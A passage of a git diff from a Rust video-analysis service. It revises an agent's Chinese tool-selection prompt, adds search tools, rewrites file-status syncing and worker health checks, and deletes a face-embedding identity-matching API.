trace_id) -12. **可以同時呼叫多個工具,但需符合以下條件:** - - ✅ 查詢多部影片的相同資訊(如:3部影片的人物列表) - - ✅ 需要組合多個來源的資訊才能回答(如:file_info + tkg_query) - - ❌ 不要為了「嘗試所有可能」而盲目並行呼叫 - - ❌ 如果單一工具已返回足夠答案,不需要額外呼叫 - - ❌ 如果 smart_search 已找到相關 chunk,不需要再呼叫 find_file - - ❌ 如果單一工具已返回足夠答案,不需要額外呼叫 +## 搜尋工具選擇策略(重要:根據問題類型選擇正確工具) -## 回答規則 +### 優先順序(按此順序選擇工具) +1. **semantic_search** - 語意搜尋 → **優先使用(適合大多數查詢)** +2. **smart_search** - 精確關鍵字匹配(僅在需要精確匹配時使用) +3. **trace_search** - 人物外貌、衣著、地點 +4. **find_file** - 僅搜尋片名(不搜尋內容) + +### semantic_search(語意搜尋)- 優先使用 +- **使用時機**:大多數查詢(理解意圖、概念性問題、一般話題) +- **範例**:「gun」、「car」、「他在做什麼」、「發生了什麼事」 +- **回傳**:語意相關的 Top 10 chunk 卡片(text_preview, score, frame_range) + +### smart_search(精確關鍵字匹配) +- **使用時機**:需要精確匹配專有名詞、特定詞彙(如人名、地名、專業術語) +- **範例**:「Cary Grant」、「Paris」、「確切的台詞引用」 +- **回傳**:包含關鍵字的 Top 10 chunk 卡片(text_content, frame_range) + +### trace_search(人物軌跡 VLM 搜尋) +- **使用時機**:搜尋人物外貌、衣著、地點、場景 +- **範例**:「穿藍色衣服的人」、「在展場出現的人」、「戴眼鏡的人」 +- **回傳**:符合的 face trace 卡片(name, vlm_description, vlm_clothing, vlm_tags, frame_range) + +### face_profile_search(用名字或 VLM 註記搜尋人臉) +- **使用時機**:用「人名」或「VLM 註記」搜尋已命名的人臉畫面 +- **範例**:「找出 Susan 的畫面」、「穿藍色衣服的人」、「在展場的人」 +- **搜尋欄位**:name, vlm_description, vlm_clothing, vlm_tags, vlm_location, vlm_setting +- **回傳**:符合的 face profile 卡片(name, key_frame, key_face, frame_range, time_range) + +### find_file(僅搜尋片名) +- **使用時機**:僅搜尋影片檔名 +- **範例**:「find a video named action」 +- **注意**:不適合搜尋內容,內容搜尋請用 semantic_search + +## 回答格式 - 回答長度依問題類型調整: - - 簡單查詢(如「列出影片」)→ 簡潔列表回答(1-2句) - - 分析問題(如「描述情節」)→ 詳細回答(3-5句) - - 計數問題(如「有幾個場景」)→ 直接回答數字 + 簡短說明 -- 回答格式: - - ✅ 如果找到影片,附上 file_uuid - - ✅ 對於人物問題,說出角色名和演員名(如果有) - - ✅ 引用資料時附上具體數字(frame 編號、時間秒數) - - ❌ 不要輸出 JSON 格式,用自然語言回答 - - ❌ 不要編造資料,如果找不到就明確說「找不到」 + - 簡單查詢 → 簡潔列表回答(1-2句) + - 分析問題 → 詳細回答(3-5句) +- **回傳 Top 10 卡片**:每個搜尋工具會回傳最多 10 張卡片 +- 卡片包含:file_uuid, chunk_id/trace_id, start_time, end_time, score, text_preview/vlm_description +- 用自然語言回答,附上 file_name 和時間範圍 -## 停止規則(重要) +## 停止規則 - **如果已經找到足夠資訊回答用戶問題,立即停止呼叫工具,直接回答** -- **如果連續 2 次呼叫工具都返回空結果或相同資訊,停止並告知用戶「找不到更多相關資訊」** -- **如果用戶問題不明確或範圍過大,停止並提供簡潔摘要** -- **如果單一工具呼叫返回完整答案,不需要額外呼叫其他工具補充** -- **優化效率:避免重複呼叫相同工具或查詢相同內容**"#; +- **如果連續 2 次呼叫工具都返回空結果,停止並告知「找不到更多相關資訊」** +- **優化效率:避免重複呼叫相同工具**"#; fn make_tools(pool: &sqlx::PgPool) -> Vec { vec![ @@ -161,11 +182,31 @@ fn make_tools(pool: &sqlx::PgPool) -> Vec { ), function_calling::make_tool( "smart_search", - "語意搜尋 chunk 文字內容。適合需要理解意圖的查詢。", + "關鍵字搜尋 chunk 文字內容(ILIKE)。適合精確匹配專有名詞、特定詞彙。", serde_json::json!({ "file_uuid": {"type": "string", "description": "限制搜尋範圍(可選)"}, "query": {"type": "string", "description": "搜尋關鍵字"}, - "limit": {"type": "integer", "default": 5} + "limit": {"type": "integer", "default": 10} + }), + vec!["query"], + ), + function_calling::make_tool( + "semantic_search", + "語意搜尋(embedding + Qdrant)。適合理解意圖的查詢,如「他在做什麼」、「發生了什麼事」。", + serde_json::json!({ + "file_uuid": {"type": "string", "description": "限制搜尋範圍(可選)"}, + "query": {"type": "string", "description": "搜尋關鍵字(會轉為 embedding)"}, + "limit": {"type": "integer", "default": 10} + }), + vec!["query"], + ), + function_calling::make_tool( + "trace_search", + "搜尋人物軌跡的 VLM 註記(外貌描述、衣著、標籤、地點、場景)。輸入關鍵字,回傳符合的 face trace 卡片。適合回答「穿藍色衣服的人」、「在展場出現的人」。", + serde_json::json!({ + "file_uuid": {"type": "string", "description": "限制搜尋範圍(可選)"}, + "query": {"type": "string", "description": "搜尋關鍵字(會搜尋 name, vlm_description, vlm_clothing, vlm_tags, vlm_location, vlm_setting)"}, + "limit": {"type": "integer", "default": 10} }), vec!["query"], ), @@ -273,6 +314,16 @@ fn make_tools(pool: &sqlx::PgPool) -> Vec { }), vec!["file_uuid", "trace_id"], ), + function_calling::make_tool( + "face_profile_search", + "用名字或 VLM 註記搜尋已命名的人臉。輸入關鍵字(名字、衣著描述、地點、標籤),回傳符合的 face profile 卡片(含 key_frame、key_face、時間範圍、frame 範圍)。適合回答「找出穿藍色衣服的人」、「Susan 出現在哪」、「在展場的人」。", + serde_json::json!({ + "name": {"type": "string", "description": "搜尋關鍵字(會搜尋 name, vlm_description, vlm_clothing, vlm_tags, vlm_location, vlm_setting)"}, + "file_uuid": {"type": "string", "description": "限制搜尋範圍(可選)"}, + "limit": {"type": "integer", "default": 10} + }), + vec!["name"], + ), ] } @@ -301,6 +352,8 @@ async fn execute_tool(pool: &sqlx::PgPool, tool_call: &ToolCall) -> (String, Str "tkg_edges_query" => tools::exec_tkg_edges_query(pool, &args).await, "tkg_node_detail" => tools::exec_tkg_node_detail(pool, &args).await, "smart_search" => tools::exec_smart_search(pool, &args).await, + "semantic_search" => tools::exec_semantic_search(pool, &args).await, + "trace_search" => tools::exec_trace_search(pool, &args).await, "identity_text" => tools::exec_identity_text(pool, &args).await, "identities_search" => tools::exec_identities_search(pool, &args).await, "get_identity_detail" => tools::exec_get_identity_detail(pool, &args).await, @@ -309,6 +362,7 @@ async fn execute_tool(pool: &sqlx::PgPool, tool_call: &ToolCall) -> (String, Str "analyze_frame" => tools::exec_analyze_frame(pool, &args).await, "search_by_appearance" => tools::exec_search_by_appearance(pool, &args).await, "vlm_describe" => tools::exec_vlm_describe(pool, &args).await, + "face_profile_search" => tools::exec_face_profile_search(pool, &args).await, _ => Err(format!("Unknown tool: {}", name)), }; let content = match result { diff --git a/src/api/cluster_agent.rs b/src/api/cluster_agent.rs index 9f699cd..d29ff71 100644 --- a/src/api/cluster_agent.rs +++ b/src/api/cluster_agent.rs @@ -1,9 +1,8 @@ use axum::{ - Extension, Json, extract::{Path, State}, http::StatusCode, routing::post, - Router, + Extension, Json, Router, }; use serde::Serialize; use std::collections::HashMap; @@ -120,14 +119,12 @@ pub async fn trigger_cluster_agent( ) })?; - let total_traces = count_total_traces(&state, &file_uuid) - .await - .map_err(|e| { - ( - StatusCode::INTERNAL_SERVER_ERROR, - Json(serde_json::json!({"error": e.to_string()})), - ) - })?; + let total_traces = count_total_traces(&state, &file_uuid).await.map_err(|e| { + ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(serde_json::json!({"error": e.to_string()})), + ) + })?; tracing::info!( "[ClusterAgent] Completed for {}: {} clusters, {} traces", @@ -186,6 +183,7 @@ async fn update_trace_labels_from_cluster( } let tkg_table = schema::table_name("tkg_nodes"); + let tp_table = schema::table_name("trace_profiles"); for (trace_id, cluster_id) in &trace_to_cluster { let external_id = format!("trace_{}", trace_id); let label = cluster_id.clone(); @@ -213,6 +211,17 @@ async fn update_trace_labels_from_cluster( .execute(state.db.pool()) .await?; } + + // Sync name to trace_profiles + let _ = sqlx::query(&format!( + "UPDATE {} SET name = $1 WHERE file_uuid = $2 AND trace_id = $3", + tp_table + )) + .bind(&label) + .bind(file_uuid) + .bind(trace_id) + .execute(state.db.pool()) + .await; } tracing::info!( diff --git a/src/api/files.rs b/src/api/files.rs index 6722ab4..61ebe42 100644 --- a/src/api/files.rs +++ b/src/api/files.rs @@ -140,6 +140,8 @@ struct RegisterFileResponse { registration_time: Option, already_exists: bool, message: String, + #[serde(skip_serializing_if = "Option::is_none")] + warning: Option, } #[derive(Debug, Serialize)] @@ -214,6 +216,7 @@ async fn register_single_file( registration_time: None, already_exists: false, message: format!("File not found: {}", file_path), + warning: None, }; } @@ -245,6 +248,7 @@ async fn register_single_file( registration_time: None, already_exists: false, message: format!("DB init failed: {}", e), + warning: None, }; } }; @@ -369,6 +373,7 @@ async fn register_single_file( registration_time: rt, already_exists: true, message: format!("Content already registered: {}", epath), + warning: None, }; } return RegisterFileResponse { @@ -385,6 +390,7 @@ async fn register_single_file( registration_time: None, already_exists: true, message: "Content already registered (identical file)".to_string(), + warning: None, }; } } @@ -620,6 +626,7 @@ async fn register_single_file( registration_time: None, already_exists: false, message: "File registered successfully".to_string(), + warning: None, } } @@ -627,6 +634,13 @@ async fn register_file( State(state): State, Json(req): Json, ) -> Result, StatusCode> { + let worker_running = super::health::check_worker_alive(&state).await; + let worker_warning = if !worker_running { + Some("Worker is not running - file will be registered but not processed automatically".to_string()) + } else { + None + }; + let file_path = req.file_path.clone(); let pattern = req.pattern; @@ -650,6 +664,7 @@ async fn register_file( "Pattern requires a directory, but path is not a dir: {}", file_path ), + warning: None, })); } let re = regex::Regex::new(pat).map_err(|e| { @@ -713,6 +728,7 @@ async fn register_file( "Batch register: {} registered, {} skipped, {} failed", registered, skipped, failed ), + warning: worker_warning.clone(), })); } @@ -765,8 +781,12 @@ async fn register_file( } } - let resp = + let mut resp = register_single_file(&state, &file_path, req.user_id, req.content_hash, req.force).await; + + if worker_warning.is_some() { + resp.warning = worker_warning; + } if resp.success && !resp.already_exists @@ -805,7 +825,7 @@ async fn register_file( .init_processing_status(&auto_uuid, all_procs, total as u64) .await; let _ = sqlx::query(&format!( - "UPDATE {} SET status = 'processing' WHERE file_uuid = $1", + "UPDATE {} SET status = 'scanning' WHERE file_uuid = $1", schema::table_name("videos") )) .bind(&auto_uuid) @@ -1617,42 +1637,229 @@ async fn sync_file_status( use crate::core::config::OUTPUT_DIR; let output_dir = OUTPUT_DIR.as_str(); - let required_processors = ["face.json", "asrx.json", "ocr.json", "pose.json", "appearance.json"]; + let chunk_table = schema::table_name("chunk"); + let tp_table = schema::table_name("trace_profiles"); + let tkg_nodes_table = schema::table_name("tkg_nodes"); + let tkg_edges_table = schema::table_name("tkg_edges"); - let mut completed_count = 0; - for processor in &required_processors { - let path = std::path::Path::new(output_dir) - .join(format!("{}.{}", file_uuid, processor)); - if path.exists() { - completed_count += 1; + // 檢查 processor JSON 是否存在 + let processors = [ + ("asr", "asr.json"), + ("asrx", "asrx.json"), + ("ocr", "ocr.json"), + ("pose", "pose.json"), + ("cut", "cut.json"), + ("face", "face.json"), + ("face_cluster", "face_cluster.json"), + ]; + + let mut processor_status = serde_json::Map::new(); + let mut errors = Vec::new(); + let mut all_consistent = true; + let mut any_json_exists = false; + + for (name, filename) in &processors { + let path = std::path::Path::new(output_dir).join(format!("{}.{}", file_uuid, filename)); + let json_exists = path.exists(); + let mut consistent = false; + + if json_exists { + any_json_exists = true; + + // 讀取 JSON 內容 + match std::fs::read_to_string(&path) { + Ok(content) => { + if let Ok(json_data) = serde_json::from_str::(&content) { + // 檢查 DB 與 JSON 是否一致 + let pre_table = schema::table_name("pre_chunks"); + consistent = match *name { + "asr" => { + let json_count = json_data.get("segments").and_then(|s| s.as_array()).map(|a| a.len()).unwrap_or(0); + let is_no_audio = json_data.get("status").and_then(|s| s.as_str()) == Some("no_audio_track") + || json_data.get("status").and_then(|s| s.as_str()) == Some("silent_audio"); + let db_count: i64 = sqlx::query_scalar(&format!( + "SELECT COUNT(*) FROM {} WHERE file_uuid = $1 AND processor_type = 'asr'", pre_table + )) + .bind(&file_uuid).fetch_one(state.db.pool()).await.unwrap_or(0); + is_no_audio || (json_count as i64) == db_count + } + "asrx" => { + let json_count = json_data.get("segments").and_then(|s| s.as_array()).map(|a| a.len()).unwrap_or(0); + let db_count: i64 = sqlx::query_scalar(&format!( + "SELECT COUNT(*) FROM {} WHERE file_uuid = $1 AND processor_type = 'asrx'", pre_table + )) + .bind(&file_uuid).fetch_one(state.db.pool()).await.unwrap_or(0); + (json_count as i64) == db_count + } + "ocr" => { + let json_count = json_data.get("frames").and_then(|s| s.as_array()).map(|a| a.len()).unwrap_or(0); + let db_count: i64 = sqlx::query_scalar(&format!( + "SELECT COUNT(*) FROM {} WHERE file_uuid = $1 AND processor_type = 'ocr'", pre_table + )) + .bind(&file_uuid).fetch_one(state.db.pool()).await.unwrap_or(0); + (json_count as i64) == db_count + } + "cut" => { + let json_count = json_data.get("scenes").and_then(|s| s.as_array()).map(|a| a.len()).unwrap_or(0); + let db_count: i64 = sqlx::query_scalar(&format!( + "SELECT COUNT(*) FROM {} WHERE file_uuid = $1 AND processor_type = 'cut'", pre_table + )) + .bind(&file_uuid).fetch_one(state.db.pool()).await.unwrap_or(0); + (json_count as i64) == db_count + } + "face" => { + let json_frame_count = json_data.get("frames").and_then(|f| f.as_array()).map(|a| a.len()).unwrap_or(0); + let is_no_faces = json_data.get("status").and_then(|s| s.as_str()) == Some("no_faces"); + let db_count: i64 = sqlx::query_scalar(&format!( + "SELECT COUNT(*) FROM {} WHERE file_uuid = $1 AND processor_type = 'face'", pre_table + )) + .bind(&file_uuid).fetch_one(state.db.pool()).await.unwrap_or(0); + is_no_faces || json_frame_count == (db_count as usize) + } + "face_cluster" => { + // cluster 數量可能不等於 trace 數量,只要 JSON 存在就視為一致 + true + } + "pose" => { + // pose 通常不需要入庫 chunks,只要 JSON 存在就視為一致 + true + } + _ => true, + }; + } else { + errors.push(serde_json::json!({ + "processor": name, + "error": "JSON parse failed" + })); + consistent = false; + } + } + Err(e) => { + errors.push(serde_json::json!({ + "processor": name, + "error": format!("Read failed: {}", e) + })); + consistent = false; + } + } + + if !consistent { + all_consistent = false; + } } + + processor_status.insert(name.to_string(), serde_json::json!({ + "json_exists": json_exists, + "consistent": consistent + })); } - let all_complete = completed_count == required_processors.len(); - let new_status = if all_complete { "completed" } else { "processing" }; + // 如果有錯誤,回傳錯誤 + if !errors.is_empty() { + return Ok(Json(serde_json::json!({ + "success": false, + "file_uuid": file_uuid, + "status": "error", + "errors": errors + }))); + } + // 檢查 DB 進階狀態 + let has_sentence: bool = sqlx::query_scalar(&format!( + "SELECT 1 FROM {} WHERE file_uuid = $1 AND chunk_type = 'sentence' LIMIT 1", chunk_table + )) + .bind(&file_uuid) + .fetch_optional(state.db.pool()) + .await + .unwrap_or(None) + .unwrap_or(0) > 0; + + let has_tkg_nodes: bool = sqlx::query_scalar(&format!( + "SELECT 1 FROM {} WHERE file_uuid = $1 LIMIT 1", tkg_nodes_table + )) + .bind(&file_uuid) + .fetch_optional(state.db.pool()) + .await + .unwrap_or(None) + .unwrap_or(0) > 0; + + let has_tkg_edges: bool = sqlx::query_scalar(&format!( + "SELECT 1 FROM {} WHERE file_uuid = $1 LIMIT 1", tkg_edges_table + )) + .bind(&file_uuid) + .fetch_optional(state.db.pool()) + .await + .unwrap_or(None) + .unwrap_or(0) > 0; + + // 狀態判斷 + let new_status = if all_consistent && any_json_exists { + // 所有 JSON 都存在且與 DB 一致 + if has_tkg_edges { + "agent_ready" + } else { + "completed" // 即使 0 筆也算完成 + } + } else if any_json_exists { + // 部分 JSON 存在但不一致 → 入庫中 + "scanning" + } else { + // 無 JSON → 未開始 + "registered" + }; + + // 更新 DB status let videos_table = schema::table_name("videos"); - let result = sqlx::query(&format!( + sqlx::query(&format!( "UPDATE {} SET status = $1, updated_at = NOW() WHERE file_uuid = $2", videos_table )) .bind(new_status) .bind(&file_uuid) .execute(state.db.pool()) - .await; + .await + .map_err(|e| { + tracing::error!("[SYNC_STATUS] Update failed: {}", e); + StatusCode::INTERNAL_SERVER_ERROR + })?; - match result { - Ok(res) if res.rows_affected() > 0 => Ok(Json(serde_json::json!({ - "success": true, - "file_uuid": file_uuid, - "status": new_status, - "processors_complete": completed_count, - "processors_total": required_processors.len() - }))), - Ok(_) => Err(StatusCode::NOT_FOUND), - Err(e) => { - tracing::error!("[SYNC_STATUS] Update failed: {}", e); - Err(StatusCode::INTERNAL_SERVER_ERROR) - } - } + // 查詢 monitor_jobs 取得 worker 狀態 + let monitor_jobs_table = schema::table_name("monitor_jobs"); + let job: Option<(String, Option, i32, i32, Vec, Vec, Option)> = + sqlx::query_as(&format!( + "SELECT status, current_processor, progress_total, progress_current, \ + completed_processors, failed_processors, updated_at \ + FROM {} WHERE uuid = $1 ORDER BY created_at DESC LIMIT 1", + monitor_jobs_table + )) + .bind(&file_uuid) + .fetch_optional(state.db.pool()) + .await + .ok() + .flatten(); + + let worker_info = if let Some((status, current_proc, total, current, completed, failed, updated)) = job { + serde_json::json!({ + "has_job": true, + "job_status": status, + "current_processor": current_proc, + "progress_total": total, + "progress_current": current, + "completed_processors": completed, + "failed_processors": failed, + "updated_at": updated.map(|t| t.format("%Y-%m-%dT%H:%M:%S").to_string()) + }) + } else { + serde_json::json!({ + "has_job": false + }) + }; + + Ok(Json(serde_json::json!({ + "success": true, + "file_uuid": file_uuid, + "status": new_status, + "processors": processor_status, + "worker": worker_info + }))) } diff --git a/src/api/health.rs b/src/api/health.rs index c185754..e62e8d9 100644 --- a/src/api/health.rs +++ b/src/api/health.rs @@ -215,7 +215,7 @@ pub async fn health(State(state): State) -> Json { build_timestamp: env!("BUILD_TIMESTAMP").to_string(), uptime_ms: get_uptime_ms(), watcher_running: check_process_running("watcher"), - worker_running: check_process_running("worker"), + worker_running: check_worker_alive(&state).await, auto_pipeline_enabled: config::get_auto_pipeline_enabled(), watcher_auto_register_enabled: config::get_watcher_auto_register(), system_timezone: config::SYSTEM_TIMEZONE.clone(), @@ -380,7 +380,7 @@ pub async fn health_detailed(State(state): State) -> Json ServiceStatus { } } +/// Check worker liveness via Redis health key TTL. +/// Returns true if the Worker's Redis health key exists and has remaining TTL > 0. +pub async fn check_worker_alive(state: &AppState) -> bool { + let health_key = format!("{}health", crate::core::config::REDIS_KEY_PREFIX.as_str()); + let client = state.redis_cache.get_client().await; + let guard = client.write().await; + if let Ok(mut conn) = guard.get_conn().await { + let ttl: Result = redis::cmd("TTL") + .arg(&[health_key.as_str()]) + .query_async(&mut conn) + .await; + match ttl { + Ok(ttl) if ttl > 0 => return true, + _ => return false, + } + } + false +} + fn check_process_running(name: &str) -> bool { let patterns: &[&str] = match name { "watcher" => &[ diff --git a/src/api/identity_agent_api.rs b/src/api/identity_agent_api.rs deleted file mode 100644 index 9dd2b72..0000000 --- a/src/api/identity_agent_api.rs +++ /dev/null @@ -1,1398 +0,0 @@ -use axum::{ - extract::{Multipart, State}, - http::StatusCode, - response::Json, - routing::{get, post}, - Router, -}; -use serde::{Deserialize, Serialize}; -use sqlx::Row; -use std::path::PathBuf; -use std::sync::Arc; - -use crate::api::types::AppState; -use crate::core::db::redis_client::RedisClient; -use crate::core::db::schema; -use crate::core::db::PostgresDb; -use crate::core::db::QdrantDb; -use crate::core::progress::{publish_agent_progress, AgentPhase, AgentProgress, AgentStats}; - -pub fn identity_agent_routes() -> Router { - Router::new() - .route( - "/api/v1/agents/identity/match-from-photo", - post(match_from_photo), - ) - .route( - "/api/v1/agents/identity/match-from-trace", - post(match_from_trace), - ) - .route( - "/api/v1/agents/identity/generate-seeds", - post(generate_seeds_handler), - ) - .route("/api/v1/agents/identity/run", post(run_identity_handler)) - .route( - "/api/v1/agents/identity/confirm", - post(confirm_identity_handler), - ) -} - -#[derive(Debug, Serialize)] -pub struct IdentityResult { - pub identity_id: String, - pub person_ids: Vec, - pub speaker_ids: Vec, - pub confidence: f64, - pub evidence: IdentityEvidence, - pub reasoning: String, -} - -#[derive(Debug, Serialize)] -pub struct IdentityEvidence { - pub face_similarity: Option, - pub speaker_overlap: f64, - pub time_overlap: f64, - pub frame_ratio: f64, -} - -#[derive(Debug, Serialize)] -struct MatchFromPhotoResponse { - success: bool, - identity_uuid: String, - file_uuid: String, - matches: usize, - traces_matched: Vec, - message: String, -} - -async fn match_from_photo( - State(state): State, - mut multipart: Multipart, -) -> Result, (StatusCode, Json)> { - let mut identity_uuid = String::new(); - let mut file_uuid = String::new(); - let mut image_data: Option> = None; - - while let Ok(Some(field)) = multipart.next_field().await { - let name = field.name().unwrap_or("").to_string(); - match name.as_str() { - "identity_uuid" => { - identity_uuid = field.text().await.unwrap_or_default(); - } - "file_uuid" => { - file_uuid = field.text().await.unwrap_or_default(); - } - "image" => { - image_data = Some(field.bytes().await.unwrap_or_default().to_vec()); - } - _ => {} - } - } - - let uuid_clean = identity_uuid.replace('-', ""); - if uuid_clean.is_empty() || file_uuid.is_empty() { - return Err(( - StatusCode::BAD_REQUEST, - Json(serde_json::json!({ - "success": false, "message": "identity_uuid and file_uuid are required" - })), - )); - } - let data = image_data.ok_or_else(|| { - ( - StatusCode::BAD_REQUEST, - Json(serde_json::json!({ - "success": false, "message": "No image field found. Use field name 'image'." - })), - ) - })?; - - // 1. Save uploaded image to temp - let scripts_dir = std::env::var("MOMENTRY_SCRIPTS_DIR") - .unwrap_or_else(|_| "/Users/accusys/momentry_core_0.1/scripts".to_string()); - let python_path = std::env::var("MOMENTRY_PYTHON_PATH") - .unwrap_or_else(|_| "/opt/homebrew/bin/python3.11".to_string()); - let temp_dir = std::env::temp_dir().join("momentry_match_face"); - std::fs::create_dir_all(&temp_dir).map_err(|e| { - ( - StatusCode::INTERNAL_SERVER_ERROR, - Json(serde_json::json!({"message": format!("Failed to create temp dir: {}", e)})), - ) - })?; - let temp_img = temp_dir.join(format!("{}.jpg", uuid_clean)); - std::fs::write(&temp_img, &data).map_err(|e| { - ( - StatusCode::INTERNAL_SERVER_ERROR, - Json(serde_json::json!({"message": format!("Failed to save temp image: {}", e)})), - ) - })?; - - // 2. Extract face embedding via Python script - let extract_script = std::path::Path::new(&scripts_dir).join("extract_face_embedding.py"); - let output = tokio::process::Command::new(&*python_path) - .arg(&extract_script) - .arg(&temp_img) - .output() - .await - .map_err(|e| { - ( - StatusCode::INTERNAL_SERVER_ERROR, - Json(serde_json::json!({"message": format!("Failed to run extractor: {}", e)})), - ) - })?; - - let _ = std::fs::remove_file(&temp_img); - - if !output.status.success() { - let stderr = String::from_utf8_lossy(&output.stderr); - return Err(( - StatusCode::BAD_REQUEST, - Json(serde_json::json!({ - "success": false, "message": format!("Face extraction failed: {}", stderr) - })), - )); - } - - let stdout = String::from_utf8_lossy(&output.stdout); - let extract_result: serde_json::Value = serde_json::from_str(&stdout).map_err(|_| { - ( - StatusCode::INTERNAL_SERVER_ERROR, - Json(serde_json::json!({"message": "Failed to parse extractor output"})), - ) - })?; - - let embedding: Vec = serde_json::from_value( - extract_result - .get("embedding") - .ok_or_else(|| { - ( - StatusCode::BAD_REQUEST, - Json(serde_json::json!({"message": "No embedding in extractor output"})), - ) - })? - .clone(), - ) - .map_err(|_| { - ( - StatusCode::INTERNAL_SERVER_ERROR, - Json(serde_json::json!({"message": "Invalid embedding format"})), - ) - })?; - - let embedding_f32: Vec = embedding.into_iter().map(|v| v as f32).collect(); - - // 3. Look up identity internal ID - let id_table = schema::table_name("identities"); - let identity_id_row: Option<(i32,)> = sqlx::query_as(&format!( - "SELECT id FROM {} WHERE REPLACE(uuid::text, '-', '') = $1", - id_table - )) - .bind(&uuid_clean) - .fetch_optional(state.db.pool()) - .await - .map_err(|e| { - ( - StatusCode::INTERNAL_SERVER_ERROR, - Json(serde_json::json!({"message": format!("DB error: {}", e)})), - ) - })?; - - let identity_id = match identity_id_row { - Some((id,)) => id, - None => { - return Err(( - StatusCode::NOT_FOUND, - Json(serde_json::json!({ - "success": false, "message": "Identity not found" - })), - )) - } - }; - - // 4. Find best matching trace via Qdrant _faces search - let qdrant = QdrantDb::new(); - - let best_match: Option<(i32, f64)> = match qdrant - .search_face_collection( - "_faces", - &embedding_f32, - 1, - "file_uuid", - "", - Some(&file_uuid), - ) - .await - { - Ok(hits) if !hits.is_empty() => { - let (score, payload) = &hits[0]; - let trace_id = payload - .get("trace_id") - .and_then(|v| v.as_i64()) - .unwrap_or(0) as i32; - Some((trace_id, *score)) - } - _ => None, - }; - - // 5. Update best match in Qdrant _faces (trace-scoped) - let mut traces_matched: Vec = Vec::new(); - if let Some((fb_trace, fb_sim)) = best_match { - let qdrant = QdrantDb::new(); - let filter = serde_json::json!({ - "must": [ - {"key": "file_uuid", "match": {"value": file_uuid}}, - {"key": "trace_id", "match": {"value": fb_trace}} - ] - }); - let payload = serde_json::json!({"identity_id": identity_id}); - if let Err(e) = qdrant - .update_payload_by_filter("_faces", filter, payload) - .await - { - tracing::warn!("[match_from_photo] Qdrant update failed: {}", e); - } - traces_matched.push(fb_trace); - - // 6. Save identity file - let _ = crate::core::identity::storage::save_identity_file(&*state.db, &uuid_clean).await; - - Ok(Json(MatchFromPhotoResponse { - success: true, - identity_uuid: uuid_clean, - file_uuid, - matches: 1, - traces_matched, - message: format!( - "Best trace: trace_id={}, similarity={:.4}", - fb_trace, fb_sim - ), - })) - } else { - Ok(Json(MatchFromPhotoResponse { - success: true, - identity_uuid: uuid_clean, - file_uuid, - matches: 0, - traces_matched, - message: "No matching face found in video".to_string(), - })) - } -} - -#[derive(Debug, Deserialize)] -struct MatchFromTraceRequest { - file_uuid: String, - trace_id: i32, - identity_uuid: String, -} - -async fn match_from_trace( - State(state): State, - Json(req): Json, -) -> Result, (StatusCode, Json)> { - let uuid_clean = req.identity_uuid.replace('-', ""); - - // 1. Get face embeddings from Qdrant _faces for this trace - let qdrant = QdrantDb::new(); - let trace_filter = serde_json::json!({ - "must": [ - {"key": "file_uuid", "match": {"value": req.file_uuid}}, - {"key": "trace_id", "match": {"value": req.trace_id}} - ] - }); - let points = qdrant - .scroll_all_points("_faces", trace_filter, 500) - .await - .unwrap_or_default(); - - let all_faces: Vec<(Vec, i64)> = points - .iter() - .filter_map(|p| { - let vector = p.get("vector").and_then(|v| v.as_array())?; - let embedding: Vec = vector - .iter() - .filter_map(|v| v.as_f64().map(|f| f as f32)) - .collect(); - let frame = p["payload"]["frame"].as_i64()?; - if embedding.len() == 512 { - Some((embedding, frame)) - } else { - None - } - }) - .collect(); - - if all_faces.is_empty() { - return Err(( - StatusCode::NOT_FOUND, - Json(serde_json::json!({ - "success": false, "message": "No embedding found for this trace" - })), - )); - } - - // Pick 3 samples: divide frame range into 3 segments, use face with largest area per segment - let total = all_faces.len(); - let segments = [ - (0, total / 3), - (total / 3, total * 2 / 3), - (total * 2 / 3, total), - ]; - - let mut query_embeddings: Vec> = Vec::new(); - - // Get bbox size info from Qdrant payload - let face_sizes: Vec<(i64, i32)> = points - .iter() - .filter_map(|p| { - let frame = p["payload"]["frame"].as_i64()?; - let bbox = &p["payload"]["bbox"]; - let w = bbox["width"].as_f64().unwrap_or(0.0) as i32; - let h = bbox["height"].as_f64().unwrap_or(0.0) as i32; - Some((frame, w * h)) - }) - .collect(); - - let face_sizes_map: std::collections::HashMap = face_sizes.into_iter().collect(); - - for (start, end) in segments { - let seg_start = start.min(total - 1); - let seg_end = end.min(total); - if seg_start >= seg_end { - continue; - } - let seg_slice = &all_faces[seg_start..seg_end]; - // Pick the face with largest area within this segment - let best_idx = seg_slice - .iter() - .enumerate() - .max_by_key(|(_, f)| face_sizes_map.get(&f.1).copied().unwrap_or(0)) - .map(|(i, _)| i) - .unwrap_or(0); - query_embeddings.push(seg_slice[best_idx].0.clone()); - } - - if query_embeddings.is_empty() { - query_embeddings.push(all_faces[total / 2].0.clone()); - } - - // 2. Three angles each find their best match via Qdrant; union all results - let mut validated: Vec<(i32, i32, f64)> = Vec::new(); - let mut seen_trace_ids = std::collections::HashSet::new(); - - for qemb in &query_embeddings { - let filter = serde_json::json!({ - "must": [ - {"key": "file_uuid", "match": {"value": req.file_uuid}} - ], - "must_not": [ - {"key": "trace_id", "match": {"value": req.trace_id}} - ] - }); - - let hits = match qdrant - .search_face_collection( - "_faces", - qemb, - 1, - "trace_id", - &req.trace_id.to_string(), - Some(&req.file_uuid), - ) - .await - { - Ok(h) => h, - Err(e) => { - tracing::warn!("[match_from_trace] Qdrant search failed: {}", e); - continue; - } - }; - - if let Some((score, payload)) = hits.first() { - let trace_id = payload - .get("trace_id") - .and_then(|v| v.as_i64()) - .unwrap_or(0) as i32; - if seen_trace_ids.insert(trace_id) { - validated.push((0, trace_id, *score)); - } - } - } - - // 3. Look up identity internal ID - let id_table = schema::table_name("identities"); - let identity_id_row: Option<(i32,)> = sqlx::query_as(&format!( - "SELECT id FROM {} WHERE REPLACE(uuid::text, '-', '') = $1", - id_table - )) - .bind(&uuid_clean) - .fetch_optional(state.db.pool()) - .await - .map_err(|e| { - ( - StatusCode::INTERNAL_SERVER_ERROR, - Json(serde_json::json!({"message": format!("DB error: {}", e)})), - ) - })?; - - let identity_id = match identity_id_row { - Some((id,)) => id, - None => { - return Err(( - StatusCode::NOT_FOUND, - Json(serde_json::json!({ - "success": false, "message": "Identity not found" - })), - )) - } - }; - - // 4. Update matched traces in Qdrant _faces - let qdrant = QdrantDb::new(); - let mut traces_matched: Vec = Vec::new(); - for (_id, trace_id, _similarity) in &validated { - let filter = serde_json::json!({ - "must": [ - {"key": "file_uuid", "match": {"value": req.file_uuid}}, - {"key": "trace_id", "match": {"value": trace_id}} - ] - }); 